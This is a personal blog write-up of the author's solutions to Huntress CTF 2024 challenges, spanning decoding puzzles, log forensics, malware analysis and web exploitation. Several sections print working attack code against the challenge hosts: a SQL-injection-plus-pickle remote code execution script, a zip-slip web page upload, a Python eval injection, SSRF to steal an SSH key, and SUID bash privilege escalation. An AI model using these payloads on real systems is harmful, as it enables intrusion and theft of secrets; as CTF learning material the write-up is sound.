Huntress CTF 2024

This year, Huntress organized its annual Capture The Flag event in October to celebrate Cybersecurity Awareness Month. The event spanned the entire month and featured challenges in forensics, malware, OSINT, general tasks, and warm-up challenges. I participated with the No Man’s Root team. For our first time, we managed to rank 78th out of 3444 teams. In this post, I’ll share some of the solutions I completed—and there were quite a few!
The event included 71 tasks, of which I solved 46. I also want to thank everyone who supported me throughout, even though I haven’t mentioned them by name here. Below, I present my scoring statistics and our team’s results. For my first time really diving into a CTF from start to finish, I think I did quite well. The large number of unsolved tasks shown on the chart reflects the frustration that crept in at some point. I’m still clearly lacking proficiency in reverse engineering—despite having parts of the flag, I couldn’t determine their correct order (thanks for the support, lady_debug!).
TXT Message
Challenge Type: Warmups
Author: @JohnHammond
Hmmm, have you seen some of the strange DNS records for the ctf.games domain? One of them sure is odd…
The task description tells us there’s an additional, unusual entry in the DNS. Typically, when we want to add a custom value to our DNS records, we use a TXT record. Therefore, the first command I ran was dig -t txt +short ctf.games
. In response, I received the following entry: 146 154 141 147 173 061 064 145 060 067 062 146 067 060 065 144 064 065 070 070 062 064 060 061 144 061 064 061 143 065 066 062 146 144 143 060 142 175
. This looks like encoded text containing the flag. Without further ado, I used ChatGPT, which quickly provided me with the answer:
MatryoshkaQR
Challenge Type: Warmups
Author: @JohnHammond
Wow! This is a big QR code! I wonder what it says…?
The challenge included a PNG file with a QR code, shown below:
Scanning the QR code revealed data beginning with the phrase “PNG”. I suspected it was another image encoded in hexadecimal. Using the following script, I saved this data into a new PNG file:
encoded_string = (
"\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00'\\x00\\x00\\x00'"
"\\x01\\x00\\x00\\x00\\x00\\xa4\\xd8l\\x98\\x00\\x00\\x00\\xf5IDATx\\x9c\\x01\\xea"
"\\x00\\x15\\xff\\x01\\xff\\x00\\x00\\x00\\xff\\x00\\x80\\xa2\\xd9\\x1a\\x02\\x00"
"\\xbe\\xe6T~\\xfa\\x04\\xe4\\xff\\x0fh\\x90\\x02\\x00\\x1a\\x7f\\xdc\\x00\\x02"
"\\x00\\xde\\x01H\\x00\\x00\\xbe\\xd5\\x95J\\xfa\\x04\\xc2*\\x15`\\x08\\x00\\xff"
"\\x9d.\\x9f\\xfe\\x04\\xfd#P\\xc3\\x0b\\x02\\x97\\x0e:\\x07d\\x04/vIg\\x19\\x00"
"\\xbb\\xcd\\xf3-\\xd2\\x02\\xfb\\xd6d\\xb5\\x88\\x02E\\xc7^\\xdf\\xfc\\x00\\x84"
"\\xfb\\x13\\xf3J\\x02\\xfd\\x88a\\xefD\\x00\\xc8t$\\x90\\n\\x01\\xc7\\x01\\xee1"
"\\xf7\\x043Q\\x17\\x0cH\\x01\\xa5\\x03\\x1c6d\\x02\\r\\xf0\\xbfV$\\x00\\xcf\\x13"
"d3\\x06\\x01\\xee\\x08J\\xf5E\\x00\\x9b\\xee\\n\\xac\\xfa\\x01\\xea|\\xf2\\xe86"
"\\x04\\xb3\\xc9\\x84\\xf7\\xb4\\x02\\t\\x90U%\\x14\\x00\\xbf g\\xa5\\xee\\x02"
"\\xfbH\\xf1#4\\x00\\xff\\xa1!;\\x86\\x02\\x81VB\\xdf\\xfc\\x04>\\xb1s\\x00\\x10"
"\\x02\\xe4>\\xab-p\\x00\\xa2\\xc6\\xfe\\xf6\\xee\\x04\\x00\\x05\\xcbl5\\x02\\x1c"
"\\xfc\\x85;\\xd0\\x02\\xc2\\xfb\\xe6A\\x00\\x01\\xff\\x00\\x00\\x00\\xff\\xf9"
"\\xdb_g\\xf4\\x9a\\xddH\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82"
)
def decode_and_save(encoded_str, output_filename):
byte_data = bytes(encoded_str, "utf-8").decode('unicode_escape').encode('latin1')
with open(output_filename, 'wb') as file:
file.write(byte_data)
output_file = "output.png"
decode_and_save(encoded_string, output_file)
Running this code yielded another QR code:
Scanning it revealed the flag: flag{01c6e24c48f48856ee3adcca00f86e9b}
Base64by32
Challenge Type: Scripting
Author: @JohnHammond
This is a dumb challenge. I’m sorry.
The task included a base64by32.zip
file, which, after unpacking, revealed a text file encoded in base64. Using CyberChef, I repeatedly applied base64 decoding operations until I obtained the flag (probably up to 32 times!).
Obfuscation Station
Challenge Type: Forensics
Author: @resume
You’ve reached the Obfuscation Station! Can you decode this PowerShell script to find the flag?
The task included a Challenge.zip file, which, when unpacked, contained a PowerShell script named chal.ps1
. Here’s the script content:
(nEW-objECt SYstem.iO.COMPreSsIon.deFlaTEStREAm( [IO.mEmORYstreAM][coNVERt]::FROMBAse64sTRING( 'UzF19/UJV7BVUErLSUyvNk5NMTM3TU0zMDYxNjSxNDcyNjexTDY2SUu0NDRITDWpVQIA') ,[io.COmPREssioN.coMpreSSioNmODE]::DeCoMpReSS)| %{ nEW-objECt sYStEm.Io.StREAMrEADeR($_,[TeXT.encodiNG]::AsCii)} |%{ $_.READTOENd()})| & ( $eNV:cOmSPEc[4,15,25]-JOin'')
First, I used CyberChef to improve the script’s readability by normalizing the case to lowercase:
Then, using a reversal script, I decoded the flag (it took a while to realize I was copying the base64 data incorrectly – I was copying only the lowercase characters instead of preserving the original format from the script):
import base64
import zlib
encoded_data = 'uzf19/ujv7bvuerlsuyvnk5nmtm3tu0zmdyxnjsxndcynjextdy2suu0ndritdwpvqia'
decoded_data = base64.b64decode(encoded_data)
decompressed_data = zlib.decompress(decoded_data, -15)
print(decompressed_data.decode('ascii'))
Decoded flag: b'$5GMLW = "flag{3ed675ef0343149723749c34fa910ae4}"'
Hidden Streams
Challenge Type: Forensics
Author: Adam Rice (@adam.huntress)
Beneath the surface, secrets glide, A gentle flow where whispers hide. Unseen currents, silent dreams, Carrying tales in hidden streams. Can you find the secrets in these Sysmon logs?
To solve the challenge, I used my favorite tool for searching Windows events, Chainsaw. Using the command chainsaw search 'powershell' -i Sysmon.evtx
, I listed all PowerShell-related events. Among them, I found an event containing additional content encoded in base64:
Decoded flag: flag{bfefb891183032f44fa93d0c7bd40da9}
Echo Chamber
Challenge Type: Scripting
Author: @JohnHammond#6971
Is anyone there? Is anyone there? I’m sending myself the flag! I’m sending myself the flag!
For this challenge, we received a pcap
file containing only ICMP packets. I noticed information being sent in the packet data. I filtered only the requests, saved the result as CSV, and then pasted it into CyberChef to decode it. Each character appeared duplicated around 40 times. After removing duplicates, I obtained the flag.
Decoded flag: flag{6b388a9117a7554d88bf384d7c73fd6e}
Keyboard Junkie
Challenge Type: Forensics
Author: @JohnHammond
My friend wouldn’t shut up about his new keyboard, so…
We received a pcap
file containing captured communication from a USB keyboard. After a few Google searches, I found a script to solve the task.
tshark -r ./keyboard_junkie -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > usbData
Zimmer Down
Challenge Type: Forensics
Author: @sudo_Rem
A user interacted with a suspicious file on one of our hosts. The only thing we managed to grab was the user’s registry hive. Are they hiding any secrets?
For this task, we received an NTUSER.DAT
file. Using Registry Explorer and the keyword flag
, I searched the registry, but the task creators made it a bit tricky by adding many “not the flag” entries. Searching nearby results, I found an entry named b62
that contained encoded content. After decoding it, I found the flag.
X-RAY
Challenge Type: Malware
Author: @JohnHammond
The SOC detected malware on a host, but antivirus already quarantined it… can you still make sense of what it does?
The task description mentioned that the file had been quarantined, so I assumed it was likely done by Windows Defender. First, I found a script to restore the file. Upon restoring, I found that it was an executable created in .NET.
Then, I decompiled the program using dotPeek. In the main code, I found two encoded values and a decoding operation. I copied the code and had ChatGPT convert it into Python. Running the modified script revealed the flag.
import sys
import codecs
def load(hex_string):
length = len(hex_string)
num_array = bytearray(length // 2)
for start_index in range(0, length, 2):
num_array[start_index // 2] = int(hex_string[start_index:start_index + 2], 16)
return num_array
def otp(data1, data2):
return bytearray(a ^ b for a, b in zip(data1, data2))
data1 = load("15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c")
data2 = load("73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41")
result = otp(data1, data2)
print(codecs.decode(result, 'utf-8'))
Decoded flag: flag{df26090565cb329fdc8357080700b621}
Strange Calc
Challenge Type: Malware
Author: @JohnHammond
I got this new calculator app from my friend! But it’s really weird; for some reason, it needs admin permissions to run??
As with every analyzed sample, I began by checking basic information about the exe file using PeStudio. I noticed that it was packed with UPX and created using AutoIt automation scripts.
After unpacking the file, I got an .au
script containing base64 encoding.
The decoded base64 content revealed a .jse
file. After deobfuscating it in CyberChef, I obtained JavaScript code, though for unknown reasons, the script didn’t reveal its actual content. ChatGPT quickly decoded it for me.
Sekiro
Challenge Type: Miscellaneous
Author: @HuskyHacks
お前はもう死んでいる
The goal of this task was to defeat the opponent as quickly as possible. After trial and error, observing the opponent’s behavior, I created a script that allowed me to win.
import pexpect
process = pexpect.spawn(f'nc challenge.ctf.games 32166')
try:
while True:
process.expect(r'Opponent move: (block|strike|advance|retreat)\r?\n')
print(process.before.decode('utf-8').strip())
opponent_move = process.match.group(1).decode('utf-8').strip()
print(f"Opponent move: `{opponent_move}`")
process.expect('Your move:')
if 'block' in opponent_move:
move = 'advance'
elif 'strike' in opponent_move:
move = 'block'
elif 'advance' in opponent_move:
move = 'retreat'
elif 'retreat' in opponent_move:
move = 'strike'
process.sendline(move)
print(f"Your move: {move}")
except pexpect.EOF:
print(process.before.decode('utf-8').strip())
Russian Roulette
Challenge Type: Malware
Author: @JohnHammond
My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! :(
WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation, there is a real possibility that your VM may crash.
For this task, we received a Windows shortcut (.lnk) file that downloaded malware from the internet. The downloaded file was heavily obfuscated PowerShell script. Instead of manually analyzing it, which would take a lot of time, I used Any.Run to analyze it dynamically. After running the file and tracing the PowerShell calls, I found a base64-encoded value.
The Void
Challenge Type: Warmups
Author: @JohnHammond#6971
When you gaze long into the void, the void gazes also into you…
Connecting to the task presented a black screen, darker than usual in the console.
I decided to redirect the entire input to a file. Opening the file in vi, I noticed characters resembling color codes used in bash.
nc challenge.ctf.games 30124 > aaa
Using the sed
command, I removed all colorization characters, which allowed me to retrieve the flag.
cat aaa | sed -r "s/\x1B\[([0-9]{1,3}(;[0-9]{1,2};?)?)?[mGK]//g"
Malibu
Challenge Type: Miscellaneous
Author: Truman Kain
What do you bring to the beach?
NOTE: Two things to remember for this challenge:
- This service takes a bit more time to start. If you see “Connection refused,” please wait a bit.
- The service won’t immediately respond or prompt you; it’s waiting for your input. If you just hit Enter, you’ll see what it is. Extra tip: once you know what the service is, try connecting in a better way. Then, use context clues and logical thinking based on its responses and the task description. No bruteforcing is necessary once you understand the infrastructure and enumerate. ;)
The task initially involved connecting to nc challenge.ctf.games 31426
. After running the command, I noticed that the service communicated via HTTP.grep -r flag
, which immediately led me to the solution.
Plantopia
Challenge Type: Web
Author: @HuskyHacks
Plantopia is our brand new, cutting-edge plant care management website! Built for hobbyists and professionals alike, it’s your one-stop shop for all plant care management.
Please perform a penetration test ahead of our site launch and let us know if you find anything.
Username: testuser
Password: testpassword
After launching the application, a login panel appeared. I initially tried logging in with the provided credentials, but they didn’t work. So I started clicking through available links.
HelpfulDesk
Challenge Type: Web
Author: @HuskyHacks
HelpfulDesk is the go-to solution for small and medium businesses needing remote monitoring and management. Last night, HelpfulDesk released a security bulletin urging everyone to patch to the latest version. Details were scarce, but it doesn’t seem good…
After accessing the application and reviewing the security bulletin, I noticed there was a new version available (1.2), while the deployed version was 1.1.diff
command. It quickly turned out the only significant change was in the HelpfulDesk.dll
file. Then, using the file
command, I verified the file type, revealing it was a .NET library.SetupController.cs
, responsible for software configuration, the expression Trim('/')
was removed in the newer version./Setup/SetupWizard/
revealed the application’s setup panel, allowing me to set an administrator password.admin:admin
, I successfully logged into the application and retrieved the flag.
Obtained flag: flag{03a6f458b7483e93c37bd94b6dda462b}
MOVEable
Challenge Type: Web
Author: @JohnHammond#6971
Ever wanted to move your files? You know, like with a fancy web-based GUI instead of just FTP or something?
Well, now you can, with our super secure app, MOVEable!
Escalate your privileges and find the flag.
This task probably took me the most time, and the exploit was definitely the most complex. The code for the application was provided, which allowed me to prepare the exploit and then execute it in the CTF environment. The first vulnerability I discovered was in the login process; it allowed executing “stacked queries,” enabling us to add arbitrary values to tables in the database. Just when I thought I had everything, I discovered a bug in the code that caused the file download functionality not to work.pickle
– a known library that allows remote code execution. Now that I knew how to insert data into the database and execute code, I was missing one key thing: the server response./root
directory.sudo -l
command.sudo
. Running sudo -l
showed what the user had access to. Fortunately, there was a NOPASSWD=ALL
entry, meaning sudo
could be used without a password – a common configuration mistake. Finally, I executed sudo cat /root/flag.txt
to retrieve the flag.
import requests
import pickle
import base64
import json
from itsdangerous import base64_decode
import random
import string
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
}
HOST = 'http://challenge.ctf.games:32154'
CMD = '''sudo cat /root/flag.txt'''
class RCE:
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
return eval, (self.cmd,)
def init_session():
print('init session')
data = 'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2factivesessions%2f**%2f(sessionid%2c%2f**%2ftimestamp)%2f**%2fVALUES%2f**%2f(%5cf3c3b700-4339-45fc-bb32-45105d62a884%5c%2c%5c1729679958%5c)--&password=aa'
response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
if response.status_code != 302:
print('error')
print(response.text)
exit(-1)
def get_flag_length():
print('Get data length')
filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
pickled = pickle.dumps(RCE('''session.update({'flag3': len(base64.urlsafe_b64encode(os.popen("'''+ CMD + '''").read().encode()))})'''))
payload = base64.urlsafe_b64encode(pickled).decode()
print(payload)
data = f'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2ffiles%2f**%2f(filename%2c%2f**%2fdata%2c%2f**%2fsessionid)%2f**%2fVALUES%2f**%2f(%5c{filename}%5c%2c%5c{payload}%5c%2c%5c1729679958%5c)--&password=aa'
print(data)
response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
if response.status_code != 302:
print('error')
print(response.text)
exit(-1)
response = requests.get(f'{HOST}/download/{filename}/f3c3b700-4339-45fc-bb32-45105d62a884', headers=headers, verify=False, allow_redirects=False)
length = json.loads(base64_decode(response.cookies['session'].split('.')[0]))['flag3']
print(length)
return length
def get_flag(start, end):
print('Get data')
filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
pickled = pickle.dumps(RCE('''session.update({'flag3': base64.urlsafe_b64encode(os.popen("'''+ CMD + '''").read().encode()).decode()[''' + str(start) + ''':'''+ str(end)+''']})'''))
payload = base64.urlsafe_b64encode(pickled).decode()
data = f'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2ffiles%2f**%2f(filename%2c%2f**%2fdata%2c%2f**%2fsessionid)%2f**%2fVALUES%2f**%2f(%5c{filename}-{start}-{end}%5c%2c%5c{payload}%5c%2c%5c1729679958%5c)--&password=aa'
response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
if response.status_code != 302:
print('error')
print(response.text)
exit(-1)
response = requests.get(f'{HOST}/download/{filename}-{start}-{end}/f3c3b700-4339-45fc-bb32-45105d62a884', headers=headers, verify=False, allow_redirects=False)
part = json.loads(base64_decode(response.cookies['session'].split('.')[0]))['flag3']
print(part)
return part
init_session()
length = get_flag_length()
content = ""
for i in range(0, length, 10):
if i + 10 < length:
e = i + 10
else:
e = i + (length - i)
print(i, e)
try:
content += get_flag(i, e)
except:
pass
print(content)
print(base64_decode(content))
Backdoored Splunk II
Challenge Type: Forensics
Author: Adam Rice (@adam.huntress)
You’ve probably seen Splunk being used for good, but have you seen it used for evil? NOTE: The focus of this challenge should be on the downloadable file below. It uses the dynamic service that is started, but you must put the puzzle pieces together to retrieve the flag.
The task included a zip file containing the Splunk_TA_windows
package. After a short search, I found the original files available for download on this page. Using the diff
command, I identified the differences between the files. The most interesting change was a heavily obfuscated PowerShell script.Invoke-WebRequest
command with a URL and a header.curl
command yielded the flag.
Stack It
Challenge Type: Reverse Engineering
Author: @sudo_Rem
Our team of security analysts recently worked through a peculiar Lumma sample. The dentists helping us advised us to floss at least twice a day to help out. They also gave us this weird file. Maybe you can help us out?
The task included a file, stack_it.bin
. Initial analysis showed it was an executable file with debug symbols removed.EDX
register.
Zippy
Challenge Type: Web
Author: @HuskyHacks
Need a quick solution for archiving your business files? Try Zippy today, the Zip Archiver built for small to medium businesses!
The application provided by the organizers allowed uploading ZIP files, which were then extracted to a directory specified by the user.
The application was built with .NET technology and supported dynamic compilation of .cshtml
files. I first created a .cshtml
page that would load the flag from a specified location, then used an enhanced version of the evilarc
script to create a ZIP file with the appropriate path.
@page
@using System.IO
@functions {
public string GetFileContent()
{
string filePath = "/app/flag.txt";
if (System.IO.File.Exists(filePath))
{
return System.IO.File.ReadAllText(filePath);
}
else
{
return "File not found.";
}
}
}
@{
ViewData["Title"] = "About";
var fileContent = GetFileContent();
}
<h2>Contents of /app/flag.txt</h2>
<pre>
@fileContent
</pre>
After uploading the payload, it overwrote the existing file responsible for displaying user information, thus displaying the flag.
PillowFight
Challenge Type: Web
Author: @HuskyHacks
PillowFight uses advanced AI/MLRegressionLearning* to combine two images of your choosing. *Note to investors: This isn’t technically true at the moment; we’re using a Python library, but please give us funding, and we’ll deliver it, we promise.
The web application was created to combine images.eval_command
parameter.save
method.save
method documentation.
Using the Pillow library documentation, I prepared a code snippet that, with a Python lambda function, created an object containing the save
method to read the flag from the system.
eval("type('A', (object,), {'save': (lambda self, fp, format=None, **params: fp.write(open(\"flag.txt\", \"rb\").read()) if hasattr(fp, 'write') else None)})()")
Permission to Proxy
Challenge Type: Miscellaneous
Author: @JohnHammond
Where do we go from here?
Escalate your privileges and find the flag in root’s home directory.
Yes, the error message you see on startup is intentional. ;)
The task involved a configured Squid proxy service. The task description and type of service suggested looking for SSRF vulnerabilities.
.ssh/config
host *
ProxyCommand corkscrew challenge.ctf.games 31619 %h %p
Patience was key here, as I eventually found a service on port 50,000 that allowed reading files from the server./home/user/.ssh/id_rsa
, I found and downloaded the private key.

Next, I logged into the server using the previously prepared configuration. According to the task description, the next step was privilege escalation to root
. My first command was find / -perm /2000 -or -perm /4000 2>/dev/null
, which, to my surprise, listed the /bin/bash
binary./bin/bash -p
command, I escalated privileges and then read the flag from the root directory.
Time Will Tell
Challenge Type: Miscellaneous
Author: @aenygma
A side-channel timing attack.
Figure out the password in 90 seconds before the connection terminates.
The password is dynamic and changes every session.
For this task, we were provided with code, where the most interesting part was how it verified the password’s correctness. The application checked the password character by character, and when a character was correct, it performed “heavy calculations” by calling the sleep
function with a delay of 1.5 seconds.
import pexpect
import time
child = pexpect.spawn('nc challenge.ctf.games 32654', encoding='utf-8', timeout=10)
child.logfile = open("debug_log.txt", "w")
possible_chars = "0123456789abcdef"
password = ""
password_len = 8
child.expect("Figure out the password")
for i in range(password_len):
max_time = 0.19
correct_char = ''
for char in possible_chars:
guess = password + char + "x" * (password_len - len(password) - 1)
start_time = time.perf_counter()
child.sendline(guess)
try:
child.expect(": ")
elapsed_time = time.perf_counter() - start_time
output = child.before.strip()
print(f"Test: {guess}, time: {elapsed_time:.6f}, answer: {output}")
if elapsed_time > max_time:
max_time = elapsed_time
correct_char = possible_chars[possible_chars.index(char) - 1]
except pexpect.exceptions.TIMEOUT:
print(f"Timeout for char: {char}")
continue
password += correct_char
print(f"Found char: {correct_char} on {i}, current password: {password}")
print(f"Password: {password}")
child.sendline(password)
child.expect("flag:")
flag = child.before
print(f"Flag: {flag}")
child.logfile.close()
After writing the script, which worked correctly on my computer, I had to make some minor adjustments during flag retrieval to account for network latency.
Palimpsest
Challenge Type: Malware
Author: Adam Rice (@adam.huntress)
Our IT department was setting up a new workstation and encountered strange errors during software installation. The technician noticed an unusual scheduled task, luckily backed it up, and downloaded a few log files before wiping the machine! Can you figure out what’s going on? We’ve included the exported scheduled task and log files below.
The task provided .evtx
(Windows event logs) files and a configuration for the suspicious task.MsInstaller
application logs (Application log).
The final deobfuscated script retrieved events related to MsInstaller with IDs from 40000 to 65000 and saved them to a file named flag.mp4
.
$fileStreamType = [System.IO.FileStream]
$instanceRange = 40000..65000
$filePath = Join-Path -Path $env:appdata -ChildPath "flag.mp4"
$fileStream = $fileStreamType::OpenWrite($filePath)
Get-EventLog -LogName "Application" -Source "Mslnstaller" |
Where-Object { $instanceRange -contains $_.InstanceId } |
Sort-Object Index |
ForEach-Object {
$data = $_.Data
$fileStream.Write($data, 0, $data.Length)
}
$fileStream.Close()
I had trouble adapting the script to work correctly, so I used chainsaw
and jq
tools. Using the commands below, I extracted the mp4 file.
chainsaw/target/release/chainsaw search 'Mslnstaller' logs/ --json -o "output.json"
jq -r '.[] | select(.Event.System.EventID >= 40000 and .Event.System.EventID <= 65000) | .Event.EventData.Binary | gsub("[\\n\\t ]"; "")' output.json | xxd -r -p > flag.mp4
The mp4 file contained the flag :)